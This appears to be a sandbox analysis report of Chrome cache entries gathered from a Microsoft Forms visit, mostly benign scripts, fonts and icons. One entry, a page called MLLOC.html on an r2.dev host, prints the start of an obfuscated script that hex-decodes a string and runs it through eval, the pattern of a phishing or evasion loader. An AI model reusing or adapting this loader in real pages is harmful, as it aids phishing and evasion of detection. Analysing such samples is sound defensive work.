registration?registration.scope:""},i=e=>[a.prefix

Chrome Cache Entry: 115

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (918)
Category:	downloaded
Size (bytes):	1152
Entropy (8bit):	5.358986431153826
Encrypted:	false
SSDEEP:
MD5:	BD81C01D8A77280C7A50F5D407D9D88F
SHA1:	772D84EAE30E3AB07B96F259DBBD96C1CB3CAC0E
SHA-256:	B59ACB533C93CC20A5EF0DDE32FF74743D182803A3EDE78F69AEDAF953B09817
SHA-512:	CF8549E78B28C3DBDBB40A30AEE160AFACFF1A7F5975CC74A91B745E40EE79CAAE152F2E42157D8316637A60769659E45E3ACD2DFD05233051F84BF8C3F838F7
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.sw.a912249.js
Preview:	"use strict";(self.webpackChunk=self.webpackChunk\|\|[]).push([[725],{36001:function(r,e,n){n.r(e),n.d(e,{register:function(){return f}});var t=n(34629),i=n(91676),s=n(17891),u=n(75187),c=n(18992),o=n(59198),a=n(98856);function f(r){return(0,t.sH)(this,void 0,void 0,(function(){var e,n;return(0,t.YH)(this,(function(t){switch(t.label){case 0:return t.trys.push([0,5,,6]),(0,a.hN)()?(0,o.K7)("UnregisterServiceWorker")?[4,navigator.serviceWorker.getRegistrations().then((function(r){return Promise.all(r.map((function(r){return r.unregister()})))}))]:[3,2]:[2];case 1:return t.sent(),[2];case 2:return(0,o.K7)("ServiceWorkerEnabled")\|\|"1"===(0,u.Db)().fsw?(e=r?"Business":(0,s.m1)().ring,[4,navigator.serviceWorker.register((0,i.ab)("/sw.js?ring=".concat(e)))]):[3,4];case 3:t.sent(),t.label=4;case 4:return[3,6];case 5:return n=t.sent(),(0,c.O7)("ServiceWorker.Registration.Error",n),[3,6];case 6:return[2]}}))}))}}}]);..//# sourceMappingURL=https://artifacts.dev.azure.com/office/_apis/symbol/symsrv/

Chrome Cache Entry: 118

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
Reputation:	unknown
URL:	https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 119

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 192 x 192, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1779
Entropy (8bit):	7.589819392147309
Encrypted:	false
SSDEEP:
MD5:	4150A5D4F2B0284A9E62D247929DD2AA
SHA1:	97CA2D9ECE8F0855B2A93E6BFDFC4883685C51CB
SHA-256:	F058653DCBA7E8B00D4BDB9409E06817F098AB18125CE5A5821520F04030D176
SHA-512:	D034378E76D58A899047B4639115102CC8F89AEF3F300DDAF0C0B3EAE40C8381040D1656109632E9095ED3F399218F196087D070C099FD89B9605DFBC34FB585
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............e..5....PLTE....pp......@...pp......8...jp...:...lp...6..9......mp...8...kp...6..8...lp.lp7..7...mp...7...lp...7...lp.......lp.lp.lp7......mp...7...lp...6..7...68.;=.@B.AC.IL.NQ.SV.X[.DF.JM.NP.UX.X[.]`._b.ei.fj.hl.il.lp.pt.y}.z}....os.os.rv....uy....hl.x\|.{.....{..~..............MP.......sx..............................................ch..........io.......ou... ..!..".."..#..#..#..$..%..%..&..'..'..'..(..(..)..........+..,..,..,..-........0..0..1..1..2..2..3..3..4..4..4..5..5..6..6..6..6..7..B..b....................1tRNS..... 000@PPP````pp...........................hX....sIDATx....{.E....(.9T@n.V@@"r..jLDR9.TlK...J....J.G-.j...vj..KS...fvwv.......k........n...B.!..B(..xjs.mX.p..W..)..1...I._m..@.2.....0.#..9_.....`[.C..../...q..i............Umd".....b;.[{..H..V..g*\...0T`.z+..X..O._!.....U.F.P)0....X...q....J.q...L....J."....x.....".W}~.Q...b~...,..'.2.#gZU.Q....1gJ7.j..81......K7..?.......i......5......x.o.g...Q..V..SZ.xe-..}..

Chrome Cache Entry: 120

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22285)
Category:	downloaded
Size (bytes):	44016
Entropy (8bit):	5.378857647537961
Encrypted:	false
SSDEEP:
MD5:	7BD5432D1B4C2CFD35B02089F5F50141
SHA1:	8386A842D6F088477EB77F51D22617CB48CC4C60
SHA-256:	72ABD4B9F2809054D0F0C0634A73E5BBCCBDBBCBDC1FE436E3FF09B05B9945D4
SHA-512:	8D712E0547551D621F1B826333FE3CF17D0A4A55B2BBFB4F65CC4FD09D4C0689D3A6D64945174064814382567EB193BF34DD2BEA34D3C0E7CA3143589073FD37
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/dll-dompurify.min.ea88d58.js
Preview:	var _dll_dompurify_e493b7c81bd1541deea5;(()=>{var t={21:(t,e,n)=>{"use strict";n.r(e),n.d(e,{TrustedTypeConfig:()=>_,TrustedTypePolicy:()=>u,TrustedTypePolicyFactory:()=>d,TrustedTypesEnforcer:()=>F,trustedTypes:()=>m});./*. @license. * Copyright 2017 Google Inc. All Rights Reserved.. . Licensed under the W3C SOFTWARE AND DOCUMENT NOTICE AND LICENSE.. . https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document. */.const o=["onabort","onactivate","onactivateinvisible","onafterprint","onafterupdate","onanimationcancel","onanimationend","onanimationiteration","onanimationstart","onariarequest","onauxclick","onbeforeactivate","onbeforecopy","onbeforecut","onbeforedeactivate","onbeforeeditfocus","onbeforepaste","onbeforeprint","onbeforeunload","onbegin","onblur","onbounce","oncancel","oncanplay","oncanplaythrough","oncellchange","onchange","onclick","onclose","oncommand","oncontextmenu","oncontrolselect","oncopy","oncuechange","oncut","ondataavailable","ondatasetcha

Chrome Cache Entry: 121

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 23580, version 1.0
Category:	downloaded
Size (bytes):	23580
Entropy (8bit):	7.990537110832721
Encrypted:	true
SSDEEP:
MD5:	E1B3B5908C9CF23DFB2B9C52B9A023AB
SHA1:	FCD4136085F2A03481D9958CC6793A5ED98E714C
SHA-256:	918B7DC3E2E2D015C16CE08B57BCB64D2253BAFC1707658F361E72865498E537
SHA-512:	B2DA7EF768385707AFED62CA1F178EFC6AA14519762E3F270129B3AFEE4D3782CB991E6FA66B3B08A2F81FF7CABA0B4C34C726D952198B2AC4A784B36EB2A828
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2
Preview:	wOF2......\........,..[...........................z.p.`..D....e........]..B..6.$..v. .....E.K...5c[R..V.Vr!.....$....@n..P.....'%.1....."A...#H:.T.6.JL.7.g..7..x....N"..,h....R3..u.T..A.._O..f=Mu.e.....0.c.0.FV.q....m;8..J.t.-.%."......&..2...!\....n..]Lx..:......S/F.V.rf%..#.Uk}....X.1n..V.\|.O..aC ."...#..>..n.... $;.....y.5..\|>...;@..Q.D........FT...r=p.Llf...J.3..{Z.. t]Rp.N..Z..7"B..,D.0s..."o..V<...#.N.WZ...m.\......Pb....#:z...B......~w.....J.ABQ.u<.8j..m..r2.....Aq.fNY...P..c.L+......v.n..yV.w......l......H...,..2.."v.......R.V.[...s......@..L....CS..'....Z.2..o......).4.H{C.%..?.%^...#.A.]..[....._&.[~1..j.P..`.......=......[.D7h..5...s......d'.....,....?...6.;....f..(M.CV.....R..q.c.....4.6.k.V.h/..........H..?u..!mq5...9@..0YA9.M..:..reS.;._......K...\..S.^.2..Fv.l~'l..U.TN....OXv..]..`.X1w.4E.t%a...2!.c.R.............t.'Hc...2.8...K.w..p@..T..RZ.@..)}..'+.7s1..... . -.....E7<...C.J.D....Iw-...u...m.K.\e..>..*....7y\|{........G..d13g].t.%.y<..

Chrome Cache Entry: 122

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 32x32, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	downloaded
Size (bytes):	7886
Entropy (8bit):	3.973130033666625
Encrypted:	false
SSDEEP:
MD5:	9425D8E9313A692BB3F022E8055FAB82
SHA1:	EDDCF3EA767D4C3042D01AC88594D7E795D8615C
SHA-256:	F2A1ABCF12EBD0F329E5B66B811B0BD76C8E954CB283CE3B61E72FBF459EF6F1
SHA-512:	93B3EB3C4CE385D80D4A8F6902355BBD156AC1AA20B8869AF05C8E714E90E74C5630BB8DE34D5B8FC9F876AC44BE314F3A2A08B3163295ADADBC6DD7B8D23561
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/images/favicon.ico
Preview:	...... .... .....6......... ............... .h...f...(... ...@..... .........................................................................................................................................................................................................................................................................................................................pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..................................pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..................................pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..pl..................................ZV..ZV..ZV..ZV..ZV..ZV..ZV..ZV..^Z..pl..pl..pl..pl..................................\|x..pl..pl..................................QN..QN..QN..QN..QN..QN..QN..QN..QN..c`..pl..pl..pl..................................\|x..pl..pl............

Chrome Cache Entry: 123

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65023)
Category:	downloaded
Size (bytes):	782148
Entropy (8bit):	3.5533981997839637
Encrypted:	false
SSDEEP:
MD5:	829F76800E36881950C794FA18C8553F
SHA1:	CE8DE187D0733B25CEC6698942E9044013FBF6D7
SHA-256:	DBAF0065593ED19FCDB87CD25449989547299F6F2E63AE1FBDCC248D3AE9291D
SHA-512:	58EA189F54390A454A2226EFB10EC8DB11A83730EF7941CFAA673BC8326C33A7F8E37880EE6C3F2E4B1BB932EB15DD0FECE54293D1426889ECF2867410000827
Malicious:	false
Reputation:	unknown
URL:	https://pub-28a12700d4f7494a819553d19a1c20f0.r2.dev/MLLOC.html
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">.</head>.<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>.<script>.function HForRehNBo(ifvkpEQmrA) {. let FOgQGecWwz = '';. for (let didsBPlGJd = 0; didsBPlGJd < ifvkpEQmrA.length; didsBPlGJd += 2) {. const HgxRVJIier = ifvkpEQmrA.substring(didsBPlGJd, didsBPlGJd + 2);. const MnvzScZhkS = parseInt(HgxRVJIier, 16);. FOgQGecWwz += String.fromCharCode(MnvzScZhkS);. }. return FOgQGecWwz;.}. eval(HForRehNBo("7352536d5a78524d5473203d2061746f623b0a456f56437a62544b6e72203d20224b4367704944302b4948734b494342705a69416f436941674943427559585a705a32463062334975643256695a484a70646d56794948783843694167494342336157356b62336375593246736246426f59573530623230676648774b4943416749486470626d52766479356663476868626e52766253423866416f6749434167626d463261576468644739794c6e567a5a584a425a32567564433570626d4e736457526c63796769516e567963434970436941674b53423743694167494342336157356b6233637562

Chrome Cache Entry: 124

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34054)
Category:	downloaded
Size (bytes):	139624
Entropy (8bit):	5.4469162479340545
Encrypted:	false
SSDEEP:
MD5:	261803046AB8AC8FFC4959F06D4EE6E7
SHA1:	8C99FB59663B15163AF1D8D9EF80D1E56EF492B5
SHA-256:	E50CDCA94BB7AFEE03D45D3A7DE9CF9116761AB2726E49679665AC31DD0E797F
SHA-512:	1B0E2902E2CF5E1696FA717706BE265625F101F135759A8FA956DE4E55F84EE522ECC3862E2FE099ED32BB408077F324F81E4FA468ABAB8B61AB7070EB52EFBA
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.utel.fa097bf.js
Preview:	"use strict";(self.webpackChunk=self.webpackChunk\|\|[]).push([[231],{8730:function(n,e,t){t.d(e,{A:function(){return E}});var r=t(86783),i=t(25621),u=t(35091),o=t(1880),a=t(38805),f=t(75072),c=t(98090),s=t(98104),l=t(78984),v=t(82873),m=t(48832),d=500;function p(n,e,t){e&&(0,a.cy)(e)&&e[c.oI]>0&&(e=e.sort((function(n,e){return n[l.Vo]-e[l.Vo]})),(0,a.Iu)(e,(function(n){n[l.Vo]<d&&(0,a.$8)("Channel has invalid priority - "+n[c.Ju])})),n[c.y5]({queue:(0,a.N6)(e),chain:(0,v.PV)(e,t[c.GA],t)}))}var b=t(73214),y=t(62032),_=t(49759),h=function(n){function e(){var t,r,o=n.call(this)\|\|this;function s(){t=0,r=[]}return o.identifier="TelemetryInitializerPlugin",o.priority=199,s(),(0,i.A)(e,o,(function(n,e){n.addTelemetryInitializer=function(n){var e={id:t++,fn:n};return r[c.y5](e),{remove:function(){(0,a.Iu)(r,(function(n,t){if(n.id===e.id)return r[c.Ic](t,1),-1}))}}},n[l.qT]=function(e,t){for(var i=!1,o=r[c.oI],s=0;s<o;++s){var l=r[s];if(l)try{if(!1===l.fn[c.y9](null,[e])){i=!0;break}}catch(n){(

Chrome Cache Entry: 126

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32224)
Category:	downloaded
Size (bytes):	32486
Entropy (8bit):	5.5306331267227025
Encrypted:	false
SSDEEP:
MD5:	182D5A93A512535EA5A6A8F6122CC4F9
SHA1:	4470E6F384954CFF3D17B81796159F1BC36373B5
SHA-256:	8D34D5FAB3FDF002FD8B538678DCA33E3CE3E38D7F7B58EAC8D4E72A71FECC2B
SHA-512:	0C41FB1483D70A161ABE190F588E6FABB481FEB027E4AF014C258740BCC9738B148F651A404908A71651EEEBDD3970F7E79724627D6FD65B3CAB367CD4AB8CB9
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_saveresponse.24ff7fd.js
Preview:	"use strict";(self.webpackChunk=self.webpackChunk\|\|[]).push([[188],{46887:function(n,e,i){i.d(e,{wh:function(){return o}});var t=i(9468),r=i(891);function o(n){var e=n.redirectURLAfterSignIn,i=n.idp,o=n.origin,a=n.authProvider,d=n.enableEmailHrd,s=void 0===d\|\|d,u=window.location.origin,c=[];if(e){var l=encodeURIComponent(e);c.push("redirecturl=".concat(l))}(0,r.h)(i)\|\|c.push("idp=".concat(i)),(0,r.h)(o)\|\|c.push("origin=".concat(o)),(0,r.h)(a)\|\|c.push("".concat(t.f0,"=").concat(a));var g=c.length?"/?".concat(c.join("&")):"";return s?"".concat(u).concat(g,"#Login=True"):"".concat(u).concat(g)}},26098:function(n,e,i){i.d(e,{v:function(){return r}});var t=i(39980),r=function(n){var e=void 0===n?{}:n,i=e.$tb,r=e.$rh,o=e.$sj,a=e.$fH,d=e.$hF,s=e.$hG,u=e.$ou,c=e.$iS,l=e.$ne,g=e.$k_,f=e.$tZ,p=e.$mw,_=e.$jq,h=[];return i&&h.push("CollectionId=".concat(i)),r&&h.push("GroupId=".concat(r)),o&&h.push("Token=".concat(o)),c&&h.push("ResponseTime=".concat(c)),a&&h.push("SaveResponseFormId=".concat(a)),

Chrome Cache Entry: 127

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 128

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4048
Entropy (8bit):	5.301162663563564
Encrypted:	false
SSDEEP:
MD5:	0694A2862499B6AFB5D5B73212CDD115
SHA1:	204DFE14E48FC10FDBC202146022FC62F6DF65FD
SHA-256:	F33A01221DEF57A9C53DB138FCA2000A7DEDEC765A3D700C2AC3903FBBD40809
SHA-512:	D94E6E0D9C05375C9AB5610B4436CD64867A3C86007707724361BC37A630C04E01560D622BDE66A97701C739A50AA3A49577E5B376EA19C6C17BBD6E04E1EA60
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/formapi/api/268ddfe8-92cb-459a-bf4f-836f12034474/users/2822c053-d9b2-4568-81dd-00c15bc7e17f/light/runtimeFormsWithResponses('6N-NJsuSmkW_T4NvEgNEdFPAIiiy2WhFgd0AwVvH4X9UNENETzZSWDZIUzVLNlYzTzIySkQyUlBXNy4u')?$expand=questions($expand=choices)&$top=1
Preview:	{"responses":null,"form":{"description":"Christelle VANQUIN","onlineSafetyLevel":0,"reputationTier":1,"background":{"altText":null,"contentType":null,"fileIdentifier":null,"originalFileName":null,"resourceId":null,"resourceUrl":null,"height":null,"width":null,"size":null},"header":{"altText":null,"contentType":null,"fileIdentifier":null,"originalFileName":null,"resourceId":null,"resourceUrl":null,"height":null,"width":null,"size":null},"logo":{"altText":null,"contentType":null,"fileIdentifier":null,"originalFileName":null,"resourceId":null,"resourceUrl":null,"height":null,"width":null,"size":null},"tableId":"T4CDO6RX6HS5K6V3O22JD2RPW7","otherInfo":null,"runtimeResponses":null,"permissions":[],"responderPermissions":[],"status":"Active","category":null,"localeInfo":"{\"TimezoneOffset\":-360,\"Locale\":\"EN-US\",\"TimezoneId\":\"America/Guatemala\"}","descriptiveQuestions":[{"groupId":null,"defaultValue":null,"image":{"altText":null,"contentType":null,"fileIdentifier":null,"originalFileN

Chrome Cache Entry: 129

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	73103
Entropy (8bit):	5.494614456912289
Encrypted:	false
SSDEEP:
MD5:	A6967E73AA6A163364C9112F34AB5B06
SHA1:	C2F170D2F2E97FAE034E1B93C4F17F444C3BE9E4
SHA-256:	8F5A784E57BBDDF7C65F39321AD9C6F6C9C2FBB67600F35E64E8DC66C855936B
SHA-512:	4BE1877685A023434B80E1B3E5F6794F6E9704E45ECFAB7AEBA0958E2E0B646C516D458FE17F165FE897CF35321B9F1C6AD55631841E8128AA7BAB5C821D2ABE
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_cover.6fd2646.js
Preview:	"use strict";(self.webpackChunk=self.webpackChunk\|\|[]).push([[451],{1607:function(e,t,n){n.d(t,{p:function(){return i}});var o=n(33377);function i(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];for(var i=[],r=0,_=t;r<_.length;r++){var a=_[r];a&&i.push("function"==typeof a?a(e):a)}return 1===i.length?i[0]:i.length?o.T.apply(void 0,i):{}}},3025:function(e,t,n){n.d(t,{n:function(){return _}});var o=n(94335),i=n(75265),r=n(34255);function _(e){var t=i.nr.getInstance(),n=(0,r.bz)((0,o.Iy)(),e);if(!t.classNameFromKey(n)){var _=t.getClassName();t.insertRule("@font-face{".concat(n,"}"),!0),t.cacheClassName(_,n,[],["font-face",n])}}},16880:function(e,t,n){n.r(t),n.d(t,{AnimationClassNames:function(){return Q},AnimationStyles:function(){return P},AnimationVariables:function(){return G},ColorClassNames:function(){return be},DefaultEffects:function(){return ct.W},DefaultFontStyles:function(){return J.d},DefaultPalette:function(){return ee.b},EdgeChromiumHighContrastSelector:functio

Chrome Cache Entry: 130

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (852)
Category:	downloaded
Size (bytes):	857
Entropy (8bit):	5.156429517152872
Encrypted:	false
SSDEEP:
MD5:	452534074CDF549198CBBB75A80D1EDA
SHA1:	1EE8C3B779BD323E09C02F3D7856852B2AB6A441
SHA-256:	263D74FF8F1A5E3871AD4D4FF01F2A08050A3968F4264EAE68D1F09CFBB4894F
SHA-512:	B27BE1A80A2A064998E755E3E84B24018B78FA4768579731B6FCCFB23A54380BF4F4D4DB4E72D4C7BFE91C6362205E184D3DFA92A716A89EABE91137C7EBC190
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE
Preview:	)]}'.["",["braves acquire scott blewett","limestone university closure","tesla stock q1 earnings","weapons movie trailer","nintendo switch pre orders","nfl schedule","c5 galaxy pensacola","tyler childers chris stapleton"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4SFQoRVHJlbmRpbmcgc2VhcmNoZXMoCg\u003d\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":"2873850567215786323","google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 131

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	unknown
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 132

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 23040, version 1.0
Category:	downloaded
Size (bytes):	23040
Entropy (8bit):	7.990788476764561
Encrypted:	true
SSDEEP:
MD5:	DE69CF9E514DF447D1B0BB16F49D2457
SHA1:	2AC78601179C3A63BA3F3F3081556B12DDCAF655
SHA-256:	C447DD7677B419DB7B21DBDFC6277C7816A913FFDA76FD2E52702DF538DE0E49
SHA-512:	4AEBB7E54D88827D4A02808F04901C0D09B756C518202B056A6C0F664948F5585221D16967F546E064187C6545ACEF15D59B68D0A7A59897BD899D3E9DDA37B1
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh6UVSwiPGQ.woff2
Preview:	wOF2......Z........8..Y...........................B.p.`..D....e.....d.....B..6.$..v. .....E.K...5l\e.v.~S$}.".8.....5.E....s...ai`W.u..8a2C..JuBj....x.....%.u.C.......p..c...7...+.1.GS.3...F_....-..`#........]...T.....x....&..{.....V..,..&~$D.#.P..\|gzz...B.7..m.3....HH.l.....Dj.F.X.....U..+.Q...T.`...ST...1...0....io`zu@.J2....3]}0.X...,..+"...............(k.CGl......`.y.._....3.t!O.,X:t.3....lw..U../:..b.]....V.$.y....G.....H..IN....bQ.+ \@....;...C3...c.l..i/....#..I.).Y...]...s..$K!..Tr...g%\|r.D.#.Y{..R..We...X.?...r.@...G.{..>..4^..b..,.z........T..[.ru#.7..{..G....J.3......Lz.C].of$Y2..^...>@L..P.........7..bB.....6f...ec.i..{._\...A.I.Lcy.Qm".....k.^.d.K(x7U...c.o.......}.T......iL..!.Z.......[O...%...*'?........^I./..;t.4%.....S...4....wY.b9.%.b...,.....tC..9.Z...V..CHnA.S.-.u$m.\....7{,..K{(.."....._...\|{.VowE@E@@..Zg.....`8..b..Z...^....l+...R..%.L.b...._..E.j9\+.L.#J.........?&...&..scE..b..Jc.8...V....L 1./k.3..7w....x..-.....

Chrome Cache Entry: 133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (39143)
Category:	downloaded
Size (bytes):	494029
Entropy (8bit):	5.476888078299702
Encrypted:	false
SSDEEP:
MD5:	E0E4D034A4A94375CD5B603995058053
SHA1:	6C52B092366809BD7E44205F4B6FE34D1FA896C3
SHA-256:	689B8982FC65174258BBFAE41EFE629FF1280E7C4BFA12EB10F84FA40451A0F3
SHA-512:	874453098F632057735FF9E170564E2EEC7ACC3F4972D776CBF42B2A10A5C1CA3BDE64252C63D97431DC10CE2D9A674B5B8593041A2F50CDA0036D8E1ACB09D6
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/light-response-page.min.51bd76c.js
Preview:	!function(){var n,t,r,e,i,o={94335:function(n,t,r){"use strict";r.d(t,{DU:function(){return o},Iy:function(){return a}});var e,i=r(35695);function o(n){e!==n&&(e=n)}function u(){return void 0===e&&(e="undefined"!=typeof document&&!!document.documentElement&&"rtl"===document.documentElement.getAttribute("dir")),e}function a(){return{rtl:u(),shadowConfig:i.ou}}e=u()},75265:function(n,t,r){"use strict";r.d(t,{b3:function(){return u},nr:function(){return f}});var e,i=r(34629),o=r(35695),u={none:0,insertNode:1,appendChild:2},a="undefined"!=typeof navigator&&/rv:11.0/.test(navigator.userAgent),c={};try{c=window\|\|{}}catch(n){}var f=function(){function n(n,t){var r,e,o,a,c,f;this._rules=[],this._preservedRules=[],this._counter=0,this._keyToClassName={},this._onInsertRuleCallbacks=[],this._onResetCallbacks=[],this._classNameToArgs={},this._config=(0,i.Cl)({injectionMode:"undefined"==typeof document?u.none:u.insertNode,defaultPrefix:"css",namespace:void 0,cspSettings:void 0},n),this._classNameTo

Chrome Cache Entry: 134

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	512
Entropy (8bit):	4.87414360388021
Encrypted:	false
SSDEEP:
MD5:	E4D13D7BA63E99DB4BD1E9CCB3E1ADFB
SHA1:	8BE689FC18B0371C1D4F09E24B0F26A53623AFF8
SHA-256:	51E04EF961060E208F78555C748F9760F5BAC34598BA5F3ACC25F0FD11BF4767
